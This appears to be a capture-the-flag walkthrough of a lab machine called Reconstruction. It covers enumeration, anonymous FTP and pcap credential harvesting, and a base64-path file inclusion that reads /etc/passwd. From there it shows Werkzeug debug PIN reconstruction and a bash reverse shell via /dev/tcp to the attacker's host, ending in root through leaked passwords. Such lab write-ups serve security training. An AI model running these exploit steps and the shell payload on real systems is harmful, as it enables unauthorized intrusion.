Reconstruction - OSPG

Read this in "about 9 minutes".

Executive Summary

We’ll secure an initial foothold by abusing local file inclusion vulnerability to reconstruct the Wekzeug web application’s PIN console. Privilege escalation can then be done via a disclosure of root credentials in a history file.


Enumeration


Nmap

We’ll begin with a nmap scan.

$ nmap --open -sV -A -p- -vv -n -Pn -oN nmap/services 192.168.59.103
PORT     STATE SERVICE REASON         VERSION
21/tcp   open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Apr 29  2020 WebSOC
|_-rw-r--r--    1 0        0             137 Apr 29  2020 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.49.59
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Blog

There are a few open services, let’s start with directory enumeration.


Ffuf

We’ll employ ffuf to gather hidden files and directories.

  • For files:
$ ffuf -u http://192.168.226.103:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
console                 [Status: 200, Size: 1985, Words: 411, Lines: 53]
  • For directories:
$ ffuf -u http://192.168.226.103:8080/FUZZ/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
create                  [Status: 302, Size: 257, Words: 22, Lines: 4]                                                                                                   
data                    [Status: 302, Size: 253, Words: 22, Lines: 4]                                                                                                   
drafts                  [Status: 302, Size: 257, Words: 22, Lines: 4]                                                                                                   
login                   [Status: 200, Size: 2297, Words: 545, Lines: 76]                                                                                                
logout                  [Status: 200, Size: 2011, Words: 486, Lines: 67] 

The outputs reveal a few interesting entries. Let’s us now focus on the FTP service.


FTP Enumeration

With the anonymous:anonymous credentials, we successfully log in as anonymous user.

$ ftp 192.168.226.103     
Connected to 192.168.226.103.
220 (vsFTPd 3.0.3)
Name (192.168.226.103:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Sep 30  2020 .
drwxr-xr-x    3 0        115          4096 Sep 30  2020 ..
drwxr-xr-x    2 0        0            4096 Apr 29  2020 WebSOC
-rw-r--r--    1 0        0             137 Apr 29  2020 note.txt
226 Directory send OK.

There are some interesting shares available for us to futher investigate. We can download them with get/mget command.

ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (137 bytes).
226 Transfer complete.
137 bytes received in 0.00 secs (66.0361 kB/s)
ftp> cd WebSOC
250 Directory successfully changed.
ftp> mget *
mget 1.05.2020.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 1.05.2020.pcap (3086771 bytes).
226 Transfer complete.
3086771 bytes received in 6.21 secs (485.1299 kB/s)
mget 29.04.2020.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 29.04.2020.pcap (869677 bytes).
226 Transfer complete.
869677 bytes received in 3.09 secs (275.0035 kB/s)
mget 30.04.2020.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 30.04.2020.pcap (14579662 bytes).
226 Transfer complete.
14579662 bytes received in 22.75 secs (625.9780 kB/s)


PCAP Enumeration

There are three .pcap files spotted in the FTP shares. Each of them performs different attacks replayed by the SOC team. If we look closely, the 1.05.2020.pcap file divulges valid credentials for the web application.

Open the mentioned .pcap with Wireshark, the search string is:

  • http.request.method==POST
Reconstruction/1.png

Follow TCP Stream of the packet 5159, the password is revealed.

Reconstruction/2.png


HTTP Enumeration

Further enumeration, we discover the /console let us execute python code, which we can leverage to secure an initial access.

However, it’s currently protected by a 9-digit PIN number, an effective security solution to remediate password brute-force attempts.

Reconstruction/3.png

Conducting a few more investigations, we acknowledge that it’s possible to reconstruct the PIN number if local file inclusion vulnerability is available.


Exploitation


Local File Disclosure

The password from pcap brings us to /data/ directory, which we can’t access in the first place.

  • Navigate to the /data/ dir, it returned Hello World!.
$ curl -v http://192.168.226.103:8080/data/ -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
*   Trying 192.168.226.103:8080...
* Connected to 192.168.226.103 (192.168.226.103) port 8080 (#0)
> GET /data/ HTTP/1.1
> Host: 192.168.226.103:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ
> 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 13
< Vary: Cookie
< Set-Cookie: session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhebg.r49IxaF8LKqT-Ew3s7Vnr71bIso; Expires=Wed, 08-Dec-2021 23:17:02 GMT; HttpOnly; Path=/
< Server: Werkzeug/1.0.1 Python/3.6.9
< Date: Sun, 07 Nov 2021 23:17:02 GMT
Hello World!
* Closing connection 0

To enumerate its behaviours, we’ll send some random words.

  • The belows will demonstrate the idea …
$ curl -v http://192.168.226.103:8080/data/test -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
...[code snip]...
> GET /data/test HTTP/1.1
> Host: 192.168.226.103:8080
...[code snip]...
> 
...[code snip]...
< X-Error: 'utf-8' codec can't decode byte 0xb5 in position 0: invalid start byte
...[code snip]...

and …

$ curl -v http://192.168.226.103:8080/data/test1 -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
> GET /data/test1 HTTP/1.1
> Host: 192.168.226.103:8080
...[code snip]...
> 
...[code snip]...
< X-Error: Incorrect padding
...[code snip]...

Noticing the X-Error response header, it might ask for a base64 encoded input.

Now, if we send dGVzdA== (base64-encoded of “test”) …

$ curl -v http://192.168.226.103:8080/data/dGVzdA== -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
...[code snip]...
> GET /data/dGVzdA== HTTP/1.1
> Host: 192.168.226.103:8080
...[code snip]...
> 
...[code snip]...
< X-Error: [Errno 2] No such file or directory: 'test'
...[code snip]...
Something went wrong! 

The No such file ... response is worth to notice here.

Similarly, let’s us try sending a base64-encoded of /etc/passwd

$ curl -v http://192.168.226.103:8080/data/L2V0Yy9wYXNzd2Q= -b 'session=eyJfcGVyb
WFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
...[code snip]...
root:x:0:0:root:/root:/bin/bash                                                    
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

From the output, we successfully include the passwd file of the target system.


Werkzeug PIN Reconstruction

For more information of how to reconstruct the PIN number, we can read this document and this document.

Primarily, the below image will best illustrate our vital changes in the code.

Reconstruction/4.png

Try executing the program, we receive a 9-digit figures, which can be used to bypass the PIN protection.

$ python3 pin_generator.py   
287-863-218


Initial Foothold

At this point, code execution can be accomplished via abusing native os python library.

From Interactive Console, we execute the following code to confirm RCE is successfully achieved.

Reconstruction/5.png

and the below command to pull off a rev shell.

__import__('os').popen("bash -c 'bash -i >& /dev/tcp/192.168.49.226/80 0>&1'").read()

After a second, our nc listener should catch a callback as www-data.

$ sudo nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.226] from (UNKNOWN) [192.168.226.103] 34128
bash: cannot set terminal process group (990): Inappropriate ioctl for device
bash: no job control in this shell
www-data@reconstruction:~/blog$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Privilege Escalation


Shell as jack

Locally enumerating divulges that jack’s password stored in the app.py at /var/www/blog/ directory.

www-data@reconstruction:~/blog$ grep -i "pass" app.py
grep -i "pass" app.py
import getpass
#ADMIN_PASSWORD = 'ee05d64d2528102d45e2db60986727ed' # jack password
ADMIN_PASSWORD = '1edfa9b54a7c0ec28fbc25babb50892e'
    if request.method == 'POST' and request.form.get('password'):
        password = request.form.get('password')
        # password and do the comparison on the hashed versions.
        if password == app.config['ADMIN_PASSWORD']:
            flash('Incorrect password.', 'danger')

With this password, we can ssh our way in as jack.


System Compromised

Once again, root’s password is located under the /home/jack/local/share/powershell/PSReadLine/ConsoleHost_history.txt file.

jack@reconstruction:~/.local/share/powershell/PSReadLine$ cat ConsoleHost_history.txt 
Write-Host -ForegroundColor Green -BackgroundColor White Holy **** this works!
Write-Host -ForegroundColor Red -BackgroundColor Black Holy **** this works as well!
su FlauntHiddenMotion845 # root password
clear history
clear
cls
exit
jack@reconstruction:~/.local/share/powershell/PSReadLine$ su - root
Password: FlauntHiddenMotion845
root@reconstruction:~# id
uid=0(root) gid=0(root) groups=0(root)